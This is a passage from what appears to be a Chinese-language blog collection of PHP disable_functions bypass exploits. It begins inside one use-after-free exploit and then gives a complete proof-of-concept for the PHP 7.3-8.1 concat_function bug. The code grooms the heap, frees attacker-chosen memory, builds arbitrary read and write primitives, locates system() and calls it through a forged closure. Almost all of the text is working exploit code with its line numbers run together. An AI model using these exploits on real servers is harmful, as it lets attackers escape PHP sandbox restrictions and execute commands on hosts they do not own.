60 $helper_handlers = $this->str2ptr(CHUNK_SIZE);61 $this->log("helper handlers @ 0x%x", $helper_handlers);62
63 $this->prepare_leaker();64
65 $binary_leak = $this->read($helper_handlers + 8);66 $this->log("binary leak @ 0x%x", $binary_leak);67 $this->prepare_cleanup($binary_leak);68
69 $closure_addr = $this->str2ptr($this->helper_off + 0x38);70 $this->log("real closure @ 0x%x", $closure_addr);71
72 $closure_ce = $this->read($closure_addr + 0x10);73 $this->log("closure class_entry @ 0x%x", $closure_ce);74
75 $basic_funcs = $this->get_basic_funcs($closure_ce);76 $this->log("basic_functions @ 0x%x", $basic_funcs);77
78 $zif_system = $this->get_system($basic_funcs);79 $this->log("zif_system @ 0x%x", $zif_system);80
81 $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;82 for($i = 0; $i < 0x138; $i += 8) {83 $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));84 }85 $this->write($fake_closure_off + 0x38, 1, 4);86
87 $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;88 $this->write($fake_closure_off + $handler_offset, $zif_system);89
90 $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;91 $this->write($this->helper_off + 0x38, $fake_closure_addr);92 $this->log("fake closure @ 0x%x", $fake_closure_addr);93
94 $this->cleanup();95 ($this->helper->b)(CMD);96 }97
98 private function make_uaf_obj() {99 $this->uafp = fopen('php://memory', 'w');100 fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));101 for($i = 0; $i < STRING_SIZE; $i++) {102 fwrite($this->uafp, "\x00");103 }104 }105
106 private function prepare_leaker() {107 $str_off = $this->helper_off + CHUNK_SIZE + 8;108 $this->write($str_off, 2);109 $this->write($str_off + 0x10, 6);110
111 $val_off = $this->helper_off + 0x48;112 $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);113 $this->write($val_off + 8, 0xA);114 }115
116 private function prepare_cleanup($binary_leak) {117 $ret_gadget = $binary_leak;118 do {119 --$ret_gadget;120 } while($this->read($ret_gadget, 1) !== 0xC3);121 $this->log("ret gadget = 0x%x", $ret_gadget);122 $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));123 $this->write(8, $ret_gadget);124 }125
126 private function read($addr, $n = 8) {127 $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);128 $value = strlen($this->helper->c);129 if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }130 return $value;131 }132
133 private function write($p, $v, $n = 8) {134 for($i = 0; $i < $n; $i++) {135 $this->abc[$p + $i] = chr($v & 0xff);136 $v >>= 8;137 }138 }139
140 private function get_basic_funcs($addr) {141 while(true) {142 // In rare instances the standard module might lie after the addr we're starting143 // the search from. This will result in a SIGSGV when the search reaches an unmapped page.144 // In that case, changing the direction of the search should fix the crash.145 // $addr += 0x10;146 $addr -= 0x10;147 if($this->read($addr, 4) === 0xA8 &&148 in_array($this->read($addr + 4, 4),149 [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {150 $module_name_addr = $this->read($addr + 0x20);151 $module_name = $this->read($module_name_addr);152 if($module_name === 0x647261646e617473) {153 $this->log("standard module @ 0x%x", $addr);154 return $this->read($addr + 0x28);155 }156 }157 }158 }159
160 private function get_system($basic_funcs) {161 $addr = $basic_funcs;162 do {163 $f_entry = $this->read($addr);164 $f_name = $this->read($f_entry, 6);165 if($f_name === 0x6d6574737973) {166 return $this->read($addr + 8);167 }168 $addr += 0x20;169 } while($f_entry !== 0);170 }171
172 private function cleanup() {173 $this->hfp = fopen('php://memory', 'w');174 fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));175 for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {176 fwrite($this->hfp, "\x00");177 }178 }179
180 private function str2ptr($p = 0, $n = 8) {181 $address = 0;182 for($j = $n - 1; $j >= 0; $j--) {183 $address <<= 8;184 $address |= ord($this->abc[$p + $j]);185 }186 return $address;187 }188
189 private function ptr2str($ptr, $n = 8) {190 $out = '';191 for ($i = 0; $i < $n; $i++) {192 $out .= chr($ptr & 0xff);193 $ptr >>= 8;194 }195 return $out;196 }197
198 private function log($format, $val = '') {199 if(LOGGING) {200 printf("{$format}\n", $val);201 }202 }203
204 static function alloc($size) {205 return str_shuffle(str_repeat('A', $size));206 }207}208?>
15. PHP 7.3-8.1 concat_function
该漏洞利用了处理字符串连接的函数中的错误。如果满足某些条件,
b 之类的语句可能会导致内存损坏。
影响版本:
- 7.3 - all versions to date
- 7.4 - all versions to date
- 8.0 - all versions to date
- 8.1 - all versions to date
1731<?php2
3# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)4#5# Bug: https://bugs.php.net/bug.php?id=817056# 7# This exploit should work on all PHP 7.3-8.1 versions8# released as of 2022-01-079#10# Author: https://github.com/mm0r111
12new Pwn("uname -a");13
14class Helper { public $a, $b, $c; }15class Pwn {16 const LOGGING = false;17 const CHUNK_DATA_SIZE = 0x60;18 const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;19 const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;20
21 const HT_SIZE = 0x118;22 const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;23
24 public function __construct($cmd) {25 for($i = 0; $i < 10; $i++) {26 $groom[] = self::alloc(self::STRING_SIZE);27 $groom[] = self::alloc(self::HT_STRING_SIZE);28 }29 30 $concat_str_addr = self::str2ptr($this->heap_leak(), 16);31 $fill = self::alloc(self::STRING_SIZE);32
33 $this->abc = self::alloc(self::STRING_SIZE);34 $abc_addr = $concat_str_addr + self::CHUNK_SIZE;35 self::log("abc @ 0x%x", $abc_addr);36
37 $this->free($abc_addr);38 $this->helper = new Helper;39 if(strlen($this->abc) < 0x1337) {40 self::log("uaf failed");41 return;42 }43
44 $this->helper->a = "leet";45 $this->helper->b = function($x) {};46 $this->helper->c = 0xfeedface;47
48 $helper_handlers = $this->rel_read(0);49 self::log("helper handlers @ 0x%x", $helper_handlers);50
51 $closure_addr = $this->rel_read(0x20);52 self::log("real closure @ 0x%x", $closure_addr);53
54 $closure_ce = $this->read($closure_addr + 0x10);55 self::log("closure class_entry @ 0x%x", $closure_ce);56 57 $basic_funcs = $this->get_basic_funcs($closure_ce);58 self::log("basic_functions @ 0x%x", $basic_funcs);59
60 $zif_system = $this->get_system($basic_funcs);61 self::log("zif_system @ 0x%x", $zif_system);62
63 $fake_closure_off = 0x70;64 for($i = 0; $i < 0x138; $i += 8) {65 $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));66 }67 $this->rel_write($fake_closure_off + 0x38, 1, 4);68 $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;69 $this->rel_write($fake_closure_off + $handler_offset, $zif_system);70
71 $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;72 self::log("fake closure @ 0x%x", $fake_closure_addr);73
74 $this->rel_write(0x20, $fake_closure_addr);75 ($this->helper->b)($cmd);76
77 $this->rel_write(0x20, $closure_addr);78 unset($this->helper->b);79 }80
81 private function heap_leak() {82 $arr = [[], []];83 set_error_handler(function() use (&$arr, &$buf) {84 $arr = 1;85 $buf = str_repeat("\x00", self::HT_STRING_SIZE);86 });87 $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));88 return $buf;89 }90
91 private function free($addr) {92 $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);93 $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));94 95 $arr = [[], []];96 set_error_handler(function() use (&$arr, &$buf, &$payload) {97 $arr = 1;98 $buf = str_repeat($payload, 1);99 });100 $arr[1] .= "x";101 }102
103 private function rel_read($offset) {104 return self::str2ptr($this->abc, $offset);105 }106
107 private function rel_write($offset, $value, $n = 8) {108 for ($i = 0; $i < $n; $i++) {109 $this->abc[$offset + $i] = chr($value & 0xff);110 $value >>= 8;111 }112 }113
114 private function read($addr, $n = 8) {115 $this->rel_write(0x10, $addr - 0x10);116 $value = strlen($this->helper->a);117 if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }118 return $value;119 }120
121 private function get_system($basic_funcs) {122 $addr = $basic_funcs;123 do {124 $f_entry = $this->read($addr);125 $f_name = $this->read($f_entry, 6);126 if($f_name === 0x6d6574737973) {127 return $this->read($addr + 8);128 }129 $addr += 0x20;130 } while($f_entry !== 0);131 }132
133 private function get_basic_funcs($addr) {134 while(true) {135 // In rare instances the standard module might lie after the addr we're starting136 // the search from. This will result in a SIGSGV when the search reaches an unmapped page.137 // In that case, changing the direction of the search should fix the crash.138 // $addr += 0x10;139 $addr -= 0x10;140 if($this->read($addr, 4) === 0xA8 &&141 in_array($this->read($addr + 4, 4),142 [20180731, 20190902, 20200930, 20210902])) {143 $module_name_addr = $this->read($addr + 0x20);144 $module_name = $this->read($module_name_addr);145 if($module_name === 0x647261646e617473) {146 self::log("standard module @ 0x%x", $addr);147 return $this->read($addr + 0x28);148 }149 }150 }151 }152
153 private function log($format, $val = "") {154 if(self::LOGGING) {155 printf("{$format}\n", $val);156 }157 }158
159 static function alloc($size) {160 return str_shuffle(str_repeat("A", $size));161 }162
163 static function str2ptr($str, $p = 0, $n = 8) {164 $address = 0;165 for($j = $n - 1; $j >= 0; $j--) {166 $address <<= 8;167 $address |= ord($str[$p + $j]);168 }169 return $address;170 }171}172
173?>
Reference
Comments NOTHING